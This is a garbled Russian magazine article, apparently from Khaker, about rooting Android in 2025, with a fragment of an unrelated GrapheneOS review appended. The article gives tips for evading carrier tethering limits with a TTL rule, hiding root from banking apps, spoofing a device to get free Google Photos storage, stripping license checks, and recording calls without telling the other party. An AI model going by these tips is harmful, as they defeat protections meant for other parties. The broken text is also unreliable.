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Се год ня я рас ска жу, как и зачем получать
пра ва root на телефо не с Android
в 2025 году. Мы выяс ним, какие реаль ные
бенефи ты это может при нес ти и почему
это не пережи ток вре мен пятой вер сии
и CyanogenMod.

Изу чая топ самых чита емых ста тей «Хакера» за все вре мя, мы замети ли, что
даже ста рые матери алы по Android по-преж нему чита ют, хотя их акту аль ность
уже мес тами под боль шим воп росом. Что ж, самое вре мя осве жить основные
темы!

ÊÐÀÒÊÀß ÈÑÒÎÐÈß ÐÓÒÀ

Как извес тно, Android работа ет на ядре Linux, а в любом Linux обя затель но
есть поль зователь-царь с UID 0 (обыч но име ющий имя root). Для него
не сущес тву ет поч ти никаких гра ниц, и он может сде лать с сис темой что угод -
но, а та будет пос лушно выпол нять его ука зания.

В Android дос тупа к этой учет ной записи штат но нет, а все при ложе ния
работа ют от име ни отдель ных неп ривиле гиро ван ных уче ток, что поз воля ет
сис теме гиб ко раз гра ничи вать им дос туп и дер жать в песоч ницах.

Ог раниче ние на root-поль зовате ля при этом сде лано серь езно: в сис теме
отсутс тву ют бинар ники su и sudo, которые обыч но исполь зуют ся для повыше -
ния прав. Таким обра зом, по умол чанию у тебя нет воз можнос ти вме шать ся
в работу сис темы и делать вся кие адми нис тра тив ные дей ствия за рам ками
пре дус мотрен ного про изво дите лем. А зна комое ядро так и манит!

Спо собы сбе жать из песоч ницы, разуме ется, быс тро наш лись. Ста рые
ядра в бюд жетных аппа ратах были без надеж но дырявы ми, так что устро ить
побег было лег че лег кого — при ложе ния вро де KingoRoot вклю чали сра зу
пач ку экс пло итов, которые лег ко под кидыва ли в сис тему бинар ник su, и уже
с ним под нимать пра ва в даль нейшем мож но было все го одной коман дой.
Для огра ниче ния дос тупа к пра вам root мож но было при менять как само при -
ложе ние, с помощью которо го они были получе ны, так и сто рон нее, нап ример
SuperSU.

Си туация кар диналь но поменя лась с появ лени ем Android 6, где сис темный
раз дел по умол чанию стал дос тупен толь ко для чте ния и под кидывать туда
фай лы ста ло невоз можно, то есть получен ные пра ва жили мак симум
до перезаг рузки. С выходом Android 7 окон чатель но зак рылась воз можность
рутин га пря мо из работа ющей сис темы: отны не любое изме нение важ ных
ком понен тов сис темы при води ло к окир пичива нию устрой ства и походу
в сер вис-центр.

Особ няком сто яли устрой ства Samsung, в которых под систе ма Knox отме -
чала факт взло ма устрой ства необ ратимым пережи гани ем спе циаль ного
eFuse даже на телефо нах с более ста рыми вер сиями Android. Отны не единс -
твен ная дорож ка к завет ному руту — раз бло киров ка заг рузчи ка и уста нов ка
кас томной про шив ки.

Раз бло киров ка заг рузчи ка — это новая про цеду ра, она поз воля ет отклю -
чить про вер ку заг рузчи ком под писи ядра, что дает воз можность уста новить
сто рон нюю про шив ку с аль тер натив ным под ходом к безопас ности в целом
и root-пра вам в час тнос ти.

На про тяже нии мно гих лет в Google зак ручива ли гай ки еще и в дру гом
смыс ле: отно шение прог рамм на устрой стве к рутин гу. Рут — это фак тичес ки
взлом устрой ства, а некото рым при ложе ниям необ ходимо защищать свои
дан ные осо бо надеж но, нап ример бан ков ским кли ентам или элек трон ному
пас порту.

В ситу ации, ког да при ложе ние не может доверять даже ядру, на котором
работа ет, обес печить такую защиту ста новит ся край не слож но. Каж дый раз -
работ чик стал реали зовы вать обна руже ние root-дос тупа на телефо не по-сво -
ему, что давало сов сем уж сла бую защиту, так что в Google быс тро выкати ли
под систе му SafetyNet, которая поз воляла при ложе ниям цен тра лизо ван но
выяв лять факт ком про мета ции устрой ства при помощи пос тоян но меня ющих -
ся про верок внут ри самого фрей мвор ка Google.

Та кой прос той дос туп к обна руже нию root сде лал поль зование рутован ным
телефо ном сов сем уж неком фор тным: мало того, что получить root-пра ва ста -
ло неп росто, так еще и каж дое мел кое при ложе ние типа игры или ски доч ной
кар ты бли жай шего супер марке та ста ло тре бовать вер нуть сис тему
в исходное сос тояние, даже если смыс ла в этом не было.

Тог да ста ло понят но, что нужен новый под ход к руту. Очень кста ти воз -
можность рутин га средс тва ми толь ко самого устрой ства окон чатель но зак -
рылась, и про цесс стал тре бовать внед рения в ramdisk ядра сво их фай лов, то
есть ста ла необ ходима переп рошив ка аппа рата. Так появил ся про ект Magisk
и его фун кция MagiskHide: теперь ста ло мож но скрыть наличие root от пос -
торон них глаз и про дол жать поль зовать ся все ми его фиш ками!

На этом исто рия вой ны меча и щита не закон чилась, но страс ти поутих ли.
На сме ну MagiskHide при шел Zygisk, работа ющий по совер шенно дру гому
прин ципу, аль тер натив ные спо собы управле ния root-пра вами потихонь ку
умер ли, мес то SafetyNet занял Play Integrity API, ядра ста ли обновлять ся луч -
ше, заг рузчи ки раз бло киро вать ста ло все слож нее, а вре мена ми и вов се
невоз можно. А вот что не изме нилось, так это желание андро идо водов
во что бы то ни ста ло добыть себе пра ва супер поль зовате ля. Зачем? Сей час
рас ска жу!

В этой статье рас смат рива ются манипу ляции
за гра ница ми пре дус мотрен ного про изво дите -
лем. В ядро немыты ми руками луч ше не лезть,
потому что сло мать что-то ненаро ком будет очень
лег ко, а вот починить — далеко не всег да. Все
дей ствия ты пов торя ешь на свой страх и риск.
Ни автор, ни редак ция не несут никакой ответс -
твен ности за то, что ты сде лаешь со сво им смар -
тфо ном!

Хоть Android и неп лохо защища ет твои дан ные, все эти защит ные механиз мы
не помогут при наличии root-дос тупа к телефо ну. Единс твен ный реаль ный
барь ер, который оста ется перед потен циаль ным зло умыш ленни ком, —
это шиф рование устрой ства, но и оно тоже не спа сет, если зло умыш ленник
получит физичес кий дос туп. На «Хаб рахаб ре» есть , рас ска -
зыва ющая, как ата ковать устрой ство с раз бло киро ван ным заг рузчи ком.

хо рошая статья

Хо тя в реаль нос ти такая ата ка на сред него поль зовате ля малове роят на,
все же сто ит иметь в виду, что защищен ность рутован ного устрой ства будет
силь но огра ниче на. Эта статья — не при зыв рутовать свой телефон, а толь ко
демонс тра ция того, как наличие root-прав может быть полез но.

Â ×ÅÌ ÔÈØÊÀ?

Дей стви тель но, зачем нуж ны root-пра ва, ког да их получе ние ста новит ся квес -
том для энту зиас тов, а про изво дите ли железа и соф та сов мес тно борют ся
за их иско рене ние? Дол жна быть очень весомая при чина, что бы про дол жать
упор но выбивать себе завет ный UID 0.

И такая при чина есть: во вре мена засилья рек ламы, тре керов, глу пых зап -
ретов со всех сто рон очень хочет ся самос тоятель но решать, что будет делать
твой аппа рат, а аль тер натив ных вари антов для это го не оста ется.

Про изво дите ли набива ют новые телефо ны о-о-очень нуж ными неуда -
ляемы ми прог рамма ми, каж дый сайт и при ложе ние отча янно пыта ются
монети зиро вать ся через рек ламу, тре керы не дают сде лать ничего, не будучи
замечен ным и пос читан ным, проб лемы сов мести мос ти мар кетоло ги соз дают
из воз духа, а обновле ния даже для акту аль ных устрой ств час то не выходят
вов се. Все эти проб лемы поз воля ет решить пря мой дос туп к сис теме.

Да вай прой дем по основным сце нари ям исполь зования root в 2025 году
и рас смот рим аль тер нативы, если ты по какой-то при чине не хочешь рутовать
свой аппа рат.

Сра зу ска жу, что мы не будем под робно рас смат ривать весь про цесс рутин га
сов ремен ных смар тфо нов, тем более что про цесс отли чает ся не толь ко
от про изво дите ля к про изво дите лю, но и в рам ках одной модели, а иног да
и вер сии про шив ки на одном аппа рате. Акту аль ную для тебя инс трук цию сле -
дует искать на форумах вро де  и .4PDA XDA Developers

Вмес те с этим реаль ное раз нооб разие есть толь ко в час ти раз бло киров ки
заг рузчи ка, а если это ты уже сде лал, уста нов ка Magisk ста новит ся три виаль -
ной. Сущес тву ет так же аль тер натива Magisk под наз вани ем KernelSU,
но каких-то явных пре иму ществ у нее нет.

Áëîêèðîâêà ðåêëàìû
Са мый прос той и оче вид ный сце нарий исполь зования root-дос тупа на смар -
тфо не — уда ление тонн рек ламы, валящей ся со всех сто рон. Пат чить каж дое
при ложе ние — дол го и нуд но, не всег да воз можно, и резуль тат будет вре мен -
ным (патч при дет ся при менять заново при каж дом обновле нии). Вмес то это го
дос таточ но не дать рек ламе воз можнос ти заг рузить ся, заб локиро вав дос туп
на уров не фай ла hosts.

Де лает это при ложе ние , которое уме ет работать и при наличии
root, и без него. При виле гиро ван ный спо соб бло киров ки я опи сал выше,
а неп ривиле гиро ван ный дос тига ет это го эффекта, прит воря ясь VPN и про -
пус кая тра фик через себя, бло кируя рек ламные хос ты. Бло киров ка без root
менее пред почти тель на, пос коль ку тре бует, что бы AdAway всег да висел
в фоне, что, оче вид но, повыша ет энер гопот ребле ние. В то же вре мя, если
есть root, мож но вооб ще уда лить AdAway пос ле прав ки фай ла hosts — изме -
нения никуда не денут ся.

AdAway

AdAway уста нов лен

Для работы AdAway на рутован ном устрой стве нужен будет модуль Magisk
под наз вани ем Systemless hosts, который вклю чает ся в нас трой ках самого
Magisk. Это поз волит записы вать файл hosts, при этом не тро гая read-only
сис темный раз дел.

Magisk под кидыва ет свои фай лы, не тро гая
реаль ную фай ловую сис тему. Дос тига ется
это путем мон тирова ния сво ей фай ловой сис -
темы поверх сущес тву ющей, из-за чего фай лы
из раз ных ФС нак ладыва ются друг на дру га, пря -
мо как слои в Docker. Попыт ка записи в такую
пап ку при ведет к записи в самый вер хний при -
мон тирован ный слой, то есть, если смон тировать
файл hosts поверх сущес тву юще го, запись в него
не тро нет исходный файл. На кар тинке ниже
изоб ражена схе ма работы такой сло еной ФС.

Как работа ет OverlayFS

Óäàëåíèå âñòðîåííîãî ìóñîðà
Про изво дите ли пре дус танав лива ют на смар тфо ны мно го соф та, который
обыч но бес полезен, а иног да и откро вен но вре ден. Далеко не всё мож но
уда лить штат ными спо соба ми, но при наличии root такие огра ниче ния лег ко
игно риру ются и мусор мож но выкор чевать хоть пря мо из сис темно го раз -
дела.

Для это го сущес тву ют десят ки при ложе ний-уда лято ров раз ной сте пени
извес тнос ти. Най ти что-то по душе мож но в Play Market по зап росу root app
deleter — толь ко не выбирай вся кие мало извес тные при ложе ния, что бы
не давать кому попало пол ные пра ва на тво ем устрой стве. Я же пред почитаю
руч ной метод через ADB:

pm uninstall -k -–user 0 com.google.android.videos

Здесь  — имя целево го пакета. Пос мотреть

мож но в нас трой ках в самом смар тфо не, коман дой  или с помощью

спе циаль ных прог рамм.

com.google.android.videos
pm list

Ïàò÷è ïðèëîæåíèé
Те ма пат чинга чужих при ложе ний на самом деле огромна. Тут я при веду толь -
ко широко извес тный , который исполь зует ся для кус тарно го
отло ма от при ложе ний шаб лонных про верок лицен зий и подоб ных топор ных
пра вок, но попада ются и год ные пат чи, которые меня ют фун кци ональ ность
при ложе ния, выреза ют рек ламу, пра вят раз решения и так далее. Прог рамма
нес коль ко потеря ла популяр ность, но по-преж нему работа ет со мно гими рас -
простра нен ными при ложе ниями.

Lucky Patcher

Кро ме авто мати чес ких пат чей спе циаль ными прог рамма ми, мож но делать
и руч ные — бла го под рутом мож но отклю чить про вер ку под писей уста нав -
лива емых при ложе ний и накатить пересоб ранный APK пря мо поверх исходно -
го с сох ранени ем всех дан ных. Про это у нас есть ста рая, но до сих пор
полез ная  — почитай, если инте рес но!статья

В сов ремен ных реалиях все чаще при ходит ся ковырять ся в при ложе нии
на живую, а не пре пари ровать APK-файл. В этом поможет XPosed Framework,
а точ нее, его реали зация  для акту аль ных вер сий Android, сов мести -
мая с Magisk и его под систе мой Zygisk. Фрей мворк пре дос тавля ет обширные
воз можнос ти для перех вата потока выпол нения прак тичес ки любого при -
ложе ния пря мо в ран тай ме, что поз воля ет на лету изме нять целевое при -
ложе ние!

LSPosed

Та кие пат чи офор мле ны в виде так называ емых модулей, которые мож но
исполь зовать для точеч ных изме нений в кон крет ных при ложе ниях, не тро гая
всю сис тему.

Zygisk — это рас ширение Magisk, которое обес печива ет внед рение в про -
цесс Zygote, ответс твен ный за запуск всех осталь ных про цес сов в сис теме.
Так мож но луч ше скрыть факт рутин га устрой ства, чем ста рым методом
MagiskHide, который перех ватывал сис темные вызовы и вычищал из резуль -
татов сле ды Magisk. Фрей мворк XPosed исполь зует этот же метод для внед -
рения в чужие при ложе ния, так что изна чаль ная реали зация кон флик товала
с Zygisk и была с ним несов мести ма. LSPosed, в свою оче редь, исполь зует
для заг рузки сам Zygisk, так что кон флик тов не воз ника ет.

Так же из-под root мож но запус кать демон , что поз волит отла живать при -
ложе ния в их естес твен ной сре де оби тания. Must have для иссле дова теля
безопас ности в Android!

Frida

Îáõîä îãðàíè÷åíèé íà ðàçäà÷ó èíòåðíåòà
В 2025 году боль шинс тво опе рато ров в быв шем СССР 
зап реща ют раз дачу интерне та на без лимит ных тарифах. Побороть это непот -
ребс тво мож но нес коль кими спо соба ми:

в край обнагле ли и

1. Из менять поле TTL (Time-to-Live) в IP-пакетах, что бы все пакеты от тво его
смар тфо на име ли оди нако вый TTL и опе ратор не видел раз дачи интерне -
та.

2. Тун нелиро вать весь тра фик через сто рон нюю локацию, что в целом быва -
ет полез но и в дру гих слу чаях.

Пер вый спо соб реали зует ся штат ными или поч ти штат ными средс тва ми,
а имен но сле дующей коман дой iptables:

 TTL  64iptables -t mangle -A POSTROUTING -o rmnet+ -j --ttl-set

Ес ли ты получа ешь ошиб ку 
, при дет ся менять ядро

или собирать недос тающий модуль самос -
тоятель но. Как это сде лать, под робно рас ска -
зыва ется в  на «Хаб рахаб ре».

No chain/target/
match by that name

пос те

Áåçëèìèòíûé Google Äèñê
Пом нишь рек ламу пер вого Pixel? Там обе щали без лимит ное мес то в обла ке
для фотог рафий! И эта фича до сих пор работа ет — дос таточ но под менить
некото рые отпе чат ки устрой ства, что бы мес то в Google Photos ста ло неог -
раничен ным и у тебя. Ничего изоб ретать не нуж но, все прав ки уже реали зова -
ны в XPosed-модуле . Он под меня ет отпе чаток устрой ства,
что бы оно выг лядело как ста рый Pixel, для которо го хра нили ще без лимит ное.
Под робнее — в репози тории про екта.

Pixelify GPhotos

Продолжение статьи →
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ЗАЧЕМ РУТОВАТЬ ANDROID
В 2025 ГОДУ

COVERSTORY  НАЧАЛО СТАТЬИ

Са мое при ятное, что без огра ниче ний мож но хра нить даже нес жатые ори -
гина лы и видео, в том чис ле сня тые на дру гие камеры, а не встро енную. То
есть мож но ско пиро вать на телефон всю кол лекцию и син хро низи ровать
с обла ком, что бы получить срав нитель но надеж ный бэкап бес плат но.

Çàïèñü çâîíêîâ ñ ëèíèè
Не все при ложе ния-зво нил ки в раз ных про шив ках уме ют записы вать звон ки.
В некото рых из них эта фун кция к тому же огра ниче на по реги ону. Даже если
запись дос тупна, обыч но она реали зует ся вклю чени ем дик тофона во вре мя
раз говора, то есть ты и собесед ник будете зву чать с раз ной гром костью,
а речь собесед ника будет иска жена.

Что бы испра вить эту проб лему, сущес тву ют при ложе ния для записи пря мо
с линии: это поз волит дос тичь луч шего качес тва зву ка, записы вать авто мати -
чес ки и без сбо ев. Для это го нуж ны root-пра ва, так как обыч ные при ложе ния
не име ют воз можнос ти вме шивать ся в ауди отракт. Хорошим при мером
такого при ложе ния мож но наз вать .Basic Call Recorder (BCR)

Эк ран нас тро ек BCR

Что бы заполу чить его, нуж но про шить уста новоч ный архив через Recovery
либо уста новить через Magisk. Руч ная уста нов ка труд на и тре бует дос тупа
к тер миналу, про цесс под робно опи сан в репози тории про екта.

Пос ле уста нов ки и перезаг рузки запись раз говора будет авто мати чес ки
вклю чать ся при любом вхо дящем или исхо дящем звон ке. Осо бен но при меча -
тель но, что запись будет работать, даже если устрой ство ни разу не было
раз бло киро вано пос ле заг рузки и поль зователь ские дан ные еще зашиф -
рованы.

При ложе ние не уве дом ляет собесед ника о записи
раз говора. Если в тво ей юрис дикции уве дом -
ление обя затель но — при дет ся пре дуп реждать
собесед ников о записи самос тоятель но.

Под держи вает ся запись в раз ных фор матах, филь тра ция звон ков (что поз -
волит записы вать толь ко инте ресу ющие тебя раз говоры) и работа в фоне
без уве дом ления в штор ке. Сло вом, чрез вычай но качес твен ное решение
для записи раз говоров для каж дого, у кого есть root.

Ïîëíîöåííûé òåðìèíàë
Об суждая воз можнос ти модифи кации сис темы, было бы прес тупле нием
не упо мянуть пря мой дос туп к тер миналу.

Ле ген дарный Termux, хоть и уме ет работать в неп ривиле гиро ван ном
режиме, все же весь свой потен циал рас кры вает при наличии root-прав. Да,
теперь ты можешь запус кать на телефо не скрип ты для «взрос лого» Linux,
поль зовать ся пакет ным менед жером и вооб ще глу боко ковырять ся в сис -
теме, дос тигая каких-то сво их целей. Нап ример, мож но сде лать из ста рого
телефо на мини-сер вер или Linux-игрушку для экспе римен тов, пос тавив
внутрь .Ubuntu

Ubuntu на Android-план шете

Google Êàìåðà
Лич но для меня этот пункт не нас толь ко акту ален, пос коль ку у меня Pixel
и «Google Камера» работа ет и так. На дру гих устрой ствах встро енное при -
ложе ние камеры обыч но очень уж грус тное, не име ет нас тро ек и режима
HDR+. Опи сывать здесь все фиш ки «Google Камеры», навер ное, нет смыс ла,
поэто му рас ска жу, толь ко как ее заполу чить.

Боль шинс тво про шивок китай ских смар тфо нов не име ют под дер жки
Camera2 API, которая необ ходима для работы гуг локаме ры. Решение — уста -
нов ка нор маль ной про шив ки, что к тому же испра вит проб лему с рек ламой
и встро енным мусором. На такую про шив ку уже без проб лем уста новит ся
«Камера», что здо рово под нимет качес тво съем ки даже на очень пос редс -
твен ную камеру.

ÒÀÉÍÛÉ ROOT

Кро ме боль шой силы, root-дос туп при носит и немало голов ной боли: нуж но
пос тоян но скры вать этот самый дос туп от осто рож ных прог рамм. Пер выми
отва лива ются пла теж ные и бан ков ские при ложе ния, затем идут государс твен -
ные при ложе ния и Ъ-парано идаль ные соц сети вро де Snapchat, а в осо бо
тяжелых слу чаях — даже сов сем безобид ные при ложу хи вро де музыкаль ного
пле ера или катало га ски док в магази нах.

Впро чем, мы же теперь хозя ева нашей ОС, можем взять и оту чить при -
ложе ние от парано идаль ных нак лоннос тей!

Пер вое и глав ное, что нуж но сде лать, — это скрыть при ложе ние Magisk.
Оно очень замет но, и мно гие прог раммы в пер вую оче редь обра щают вни -
мание на его наличие в сис теме. В нас трой ках Magisk есть пункт Hide Magisk,
который пересо бира ет его со слу чай ным име нем пакета и наз вани ем, что
поз воля ет спря тать ся от обна руже ния по име ни.

Magisk уста нов лен и спря тан

Сле дующий необ ходимый шаг — вклю чить Zygisk и нас тро ить его DenyList.
DenyList — это спи сок при ложе ний, которым будет отка зано в root-дос тупе
и для которых будут скры ты соот ветс тву ющие сле ды в сис теме. В него сле -
дует вклю чить все при ложе ния, которые руга ются на наруше ние целос тнос ти
сис темы, а так же обя затель но Google Services Framework (

), Google Play Store ( ) и Google Play Protect
Services ( ). Пос ле это го нуж но переза пус тить

аппа рат, при нуди тель но оста новить Google Services Framework в нас трой ках
и уда лить ему кеш, то же самое пов торить с Play Store.

com.google.
android.gsf com.android.vending

com.google.android.odad

Про хож дение верифи кации по Play Integrity API — это отдель ная боль. Спо -
собы появ ляют ся и уста рева ют за счи таные дни или недели, так что готовый
рецепт, опи сан ный тут, уста реет еще до пуб ликации статьи. Акту аль ные спо -
собы собира ются на форумах — нап ример, в спе циаль ной .
Боль шинс тво при ложе ний не тре буют выс шего уров ня целос тнос ти,
но получить мож но даже его (пусть и не очень надол го)!

те ме на 4PDA

Пол ное про хож дение про вер ки

В абсо лют ном боль шинс тве слу чаев этих дей ствий дос таточ но, что бы зас -
тавить работать кап ризное при ложе ние, и рутован ным телефо ном ста новит ся
воз можно поль зовать ся ком фор тно.

ÇÀÊËÞ×ÅÍÈÅ

Жить с рутом в 2025 году впол не мож но, хоть и не так прос то, как рань ше.
Труд ности будут прес ледовать тебя с момен та получе ния этих самых прав:
раз бло киров ка заг рузчи ка, уста нов ка пат ченно го ядра, скры тие рута и пос -
тоян ные почин ки бан ков ских при ложе ний, если ты решишь поль зовать ся ими
на таком аппа рате.

За то смо жешь жить без рек ламы, допили вать свою сис тему как хочешь
и поль зовать ся фун кци ями, которые твой про изво дитель не пос читал нуж ным
сде лать дос тупны ми.

До пол нитель но раз бло киров ка заг рузчи ка дает воз можность обновлять
про шив ку даже пос ле того, как офи циаль ная под дер жка уже закон чится, бла -
года ря про ектам  и .LineageOS PostmarketOS

Сто ит ли оно того? На мой взгляд — однознач но сто ит. Чего-то мож но
добить ся и без рута, но в общем зна читель но удоб нее исполь зовать воз -
можнос ти сис темы на пол ную, без кос тылей и стран ных обходных методов.

Единс твен ная реаль ная проб лема — соп ротив ление про изво дите лей, но с
ней сооб щес тво успешно борет ся и побеж дает ее уже не пер вый год.

https://github.com/chenxiaolong/BCR
https://github.com/MFDGaming/ubuntu-in-termux
https://4pda.to/forum/index.php?showtopic=826244
https://lineageos.org/
https://postmarketos.org/
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Мар кетин говый треш и тоталь ная слеж ка —
вот какое впе чат ление у меня в пос леднее
вре мя от завод ских вер сий Android. Нель зя
ли най ти чис тую, надеж ную и при ват ную ОС
для телефо на, при этом не жер твуя удобс -
твом? Авто ры GrapheneOS при ложи ли
серь езные уси лия, что бы человек не толь ко
вер нул кон троль над сво им телефо ном,
но и не потерял в ком форте. Получи лось ли
у них? Сей час рас ска жу!

Ког да говорят про слеж ку через телефо ны, под слу шива ние и про чие зло упот -
ребле ния со сто роны их про изво дите лей и раз работ чиков при ложе ний, поч ти
всег да име ют в виду имен но Android. Это и не уди витель но, пос коль ку плат -
форма мак сималь но откры тая, исходни ки дос тупны каж дому, а зна чит, и вари -
антов одной и той же сис темы с раз ными модифи каци ями куда боль ше.

Каж дый про изво дитель пыта ется как-то выделить ся, и час то при этом
в сис тему попада ет неоп ределен ное количес тво соф та сом нитель ного про -
исхожде ния, который сып лет рек ламой и вору ет дан ные, а осо бо ушлые про -
изво дите ли не стес няют ся внед рять и откро вен ную мал варь.

Мы  про шпи онские замаш ки некото -
рых популяр ных про шивок. Хоть статье уже
исполни лось шесть лет, акту аль нос ти она
не потеря ла, раз ве что объ емы утеч ки ста ли
боль ше, а каналы — скрыт нее.

уже писали

 (ранее извес тная как CopperheadOS) — это про шив ка на осно ве
AOSP, в которой сде лан мак сималь ный упор на кон фиден циаль ность и защиту
поль зовате ля от вся кого рода шпи онских штук. При этом, в отли чие
от Ъ-защищен ных поделок, она сох раня ет юза бель ность, поз воляя уста нав -
ливать при ложе ния и сох раняя при выч ный интерфейс.

GrapheneOS

К обес печению при ват ности раз работ чики GrapheneOS под ходят очень
методич но и пос ледова тель но: вмес то кра сиво го брен динга все уси лия вкла -
дыва ются в глу боко тех ничес кие улуч шения, а все фичи дол жны в пер вую оче -
редь не ухуд шать безопас ность, даже если поль зовате ли про сят добавить
что-то прос то кра сивое. Сер висы Google Play по умол чанию отсутс тву ют,
но мож но уста новить их внутрь спе циаль ной песоч ницы, где они будут иметь
огра ничен ные пра ва.

Эти и дру гие фиш ки дела ют GrapheneOS самой прод винутой защищен ной
ОС для смар тфо нов в 2025 году. Я поль зуюсь ей уже некото рое вре мя
и хотел бы поделить ся сво им опы том. Как знать — может, про читав эту
статью, и ты захочешь уста новить себе GrapheneOS!

ÃÐÀÔÅÍÎÂÀß ÁÐÎÍß

Сра зу ого ворюсь, что все опи сан ное в сегод няшней статье при мени мо
далеко не на всех устрой ствах. Акту аль ная вер сия GrapheneOS сов мести ма
лишь с устрой ства ми Google Pixel 6 и выше, Pixel 4 и 5 про дол жают получать
толь ко обновле ния безопас ности, а некото рые ста рые вер сии про шив ки
работа ли так же на более ста рых Pixel и Nexus 5 и выше. Такие высокие тре -
бова ния — не при хоть мар кетоло гов (тут их вооб ще нет), а жиз ненная необ -
ходимость: ина че не обес печить адек ватную защиту. Вот непол ный спи сок
обя затель ных тре бова ний к устрой ству, что бы раз работ чики вооб ще взя лись
за пор тирова ние GrapheneOS на него:

под дер жка всех аппа рат ных мер безопас ности для сто рон них опе раци -
онных сис тем;

•

ми нимум пять лет офи циаль ной под дер жки устрой ства про изво дите лем,
вклю чая регуляр ные обновле ния драй веров;

•

ап парат ная вир туали зация;•
изо лиро ван ные модули ради освя зи, обра бот ки изоб ражений и дру гие;•
ве рифи циро ван ная заг рузка с защитой от пониже ния вер сии про шив ки
и заг рузчи ка;

•

на личие аппа рат ного хра нили ща клю чей и аппа рат ная же про вер ка
паролей с трот тлин гом, что бы избе жать брут форса;

•

ап парат ная под дер жка фун кций ано ними зации, нап ример ран домиза ции
MAC-адре сов Wi-Fi;

•

воз можность отклю чения переда чи дан ных по USB и отла доч ных про токо -
лов в кон трол лере USB-пор та.

•

Спи сок, разуме ется, далеко не пол ный, но дает пред став ление об уров не
стан дартов. Все это поз воля ет реали зовать самые передо вые прак тики обес -
печения при ват ности и безопас ности.

Под при ват ностью я понимаю защиту от слеж ки
пос торон ними лицами, а под безопас ностью —
защиту от неав торизо ван ного дос тупа к ком -
понен там сис темы. Нап ример, рек ламные SDK
пред став ляют проб лему для при ват ности, но не
для безопас ности, а экс пло ит для Chrome,
который обхо дит песоч ницу и поз воля ет выпол -
нять код в сис теме, — это уже проб лема безопас -
ности, а не при ват ности. В реаль нос ти грань
доволь но тон ка, а проб лемы безопас ности могут
нап рямую перерас ти в проб лемы при ват ности,
так что деление доволь но условное.

Что же кон крет но может пред ложить GrapheneOS для защиты поль зовате ля?
Даже замет ных изме нений доволь но мно го. Давай прой дем ся по ним
по поряд ку.

Sandboxed Google Play
Сер висы Google Play глу боко интегри рова ны в сис тему любого смар тфо на
на Android. Обыч но они уста нов лены как сис темное при ложе ние, име ют
широкие пра ва и могут скрыт но делать что угод но: хоть сле дить за 

, хоть  (это зовет ся син хро низа цией), хоть 
, иног да поч ти неот личимый от спай вари.

Отоз вать у них эти раз решения не то что бы невоз можно, но доволь но зат -
рудни тель но, а некото рые заб рать и прав да нель зя.

тво ей
локаци ей выг ружать кон такты ус -
танав ливать сом нитель ный софт

Мно гие ска жут: да что слож ного, прос то не ставь их и живи спо кой но!
Без сер висов Google Play дей стви тель но мож но жить, и мно гие кас томные
про шив ки пос тавля ются без них, вот толь ко поль зовать ся таким телефо ном
замет но менее удоб но. В час тнос ти, перес тает работать Play Market, так что
уста нав ливать при ложе ния при ходит ся вруч ную или из сто рон них магази нов,
некото рые при ложе ния отка зыва ются работать или работа ют неп равиль но,
хро мает дос тавка уве дом лений, и про исхо дят дру гие неп рият ные вещи.
Замена в виде microG помога ет далеко не всег да, так что для удобс тва,
конеч но, луч ше дер жать нас тоящие сер висы.

GrapheneOS эту проб лему реша ет очень эле ган тно. Туда уста нав лива ются
нас тоящие сер висы Google Play, но работа ют они в песоч нице, спе циаль но
дорабо тан ной для сов мести мос ти с ними. Туда же мож но уста новить
и Android Auto — точ нее, часть под систе мы, которая отве чает за тран сля цию
телефо на на авто мобиль ный бор ткомпь ютер и тре бует для это го широких
при виле гий.

Ус танав лива ются такие при ложе ния через встро енный магазин
GrapheneOS App Store. Из недос татков — при ложе ний мало, и все они
доволь но спе цифи чес кие (сер висы Google Play, Android Auto, GrapheneOS
Auditor и подоб ные).

Android Auto в силу фун дамен таль ных осо бен -
ностей его устрой ства пол ностью запихать
в песоч ницу сов сем без при виле гий невоз можно.
В GrapheneOS есть спе циаль ное рас ширение
для под дер жки этой важ ной фун кции. Если ты
решишь поль зовать ся Android Auto в GrapheneOS,
прос то имей в виду, что песоч ница тут не нас -
толь ко неп риступ ная, как в слу чае с дру гими при -
ложе ниями. Впро чем, серь езных рис ков это не
несет: поч ти все при виле гии Android Auto все же
мож но отоб рать в рам ках обыч ной песоч ницы
без потери фун кци ональ нос ти.

Под клю чить какие-то свои репози тории в GrapheneOS App Store невоз можно,
так что пос ле уста нов ки все го необ ходимо го в пер вый день он ста новит ся
не нужен, а уда лить само при ложе ние магази на нель зя.

Пе соч ница с гуг лосер висами нас толь ко спе цифи чес кая, что под нее сде лали
даже отдель ные меню в нас трой ках. Там мож но, в час тнос ти, управлять спец -
разре шени ями этих сер висов и перех ватывать зап росы к Google Location API
и Play Integrity API.

Нуж но при этом понимать, что, нес мотря на все уси лия раз работ чиков
GrapheneOS, гуг лосер висы соз давались с уче том пос тоян ного наличия при -
виле гиро ван ного дос тупа к сис теме и некото рые фичи могут не дей ство вать,
ког да сер вис запущен в песоч нице. Нап ример, работа с аппа рат ными клю -
чами FIDO2 пока не под держи вает ся, но ее обе щают реали зовать в будущем.

Пе соч ница для задиры

Сер висы геоло кации Google полага ются не толь ко на GPS, но и на дру гие
источни ки — в час тнос ти, сотовые выш ки и бли жай шие точ ки дос тупа Wi-Fi.
Эта фича зна читель но улуч шает точ ность позици они рова ния и спо соб на
работать даже без дос тупа к GPS.

Сле дуя полити ке мак сималь ной изо ляции проп риетар ных сер висов
Google от сис темы, раз работ чики GrapheneOS встро или в сис тему аль тер -
натив ную реали зацию сер виса локации, которая работа ет на тех же прин -
ципах, но не полага ется на Google. Это зна читель но улуч шает при ват ность
и работа ет доволь но ста биль но, но если по какой-то осо бой при чине тебе
понадо бил ся сер вис имен но от Google — мож но перек лючить ся на него.

Для это го исполь зуй перек лючатель Reroute location requests to OS APIs
в нас трой ках Sandboxed Google Play и пре дос тавь сер висам Google пос тоян -
ный фоновый дос туп к геоло кации. Под робнос ти — на офи циаль ной 

.
спра воч -

ной стра нице

Из замет ных неудобств, воз ника ющих от при нуди тель ного затал кивания гуг -
лосер висов в песоч ницу, могу отме тить менее при ятную про цеду ру уста нов ки
и обновле ния при ложе ний. Если при тра дици онной работе гуг ломар кета при -
ложе ние мож но уста новить одной кноп кой, то в GrapheneOS пос ле нажатия
кноп ки уста нов ки в Play Market нуж но дож дать ся ска чива ния, опре делить ся
с дос тупом к сети для нового при ложе ния и под твер дить уста нов ку во всплы -
вающем в слу чай ный момент окне, которое может появить ся вне зап но пря мо
во вре мя активной работы с дру гим при ложе нием. Очень лег ко его зак рыть
слу чай ным тапом, и про цесс при дет ся начинать сна чала.

При обновле нии уста нов ку новой вер сии тоже нуж но под тверждать вруч -
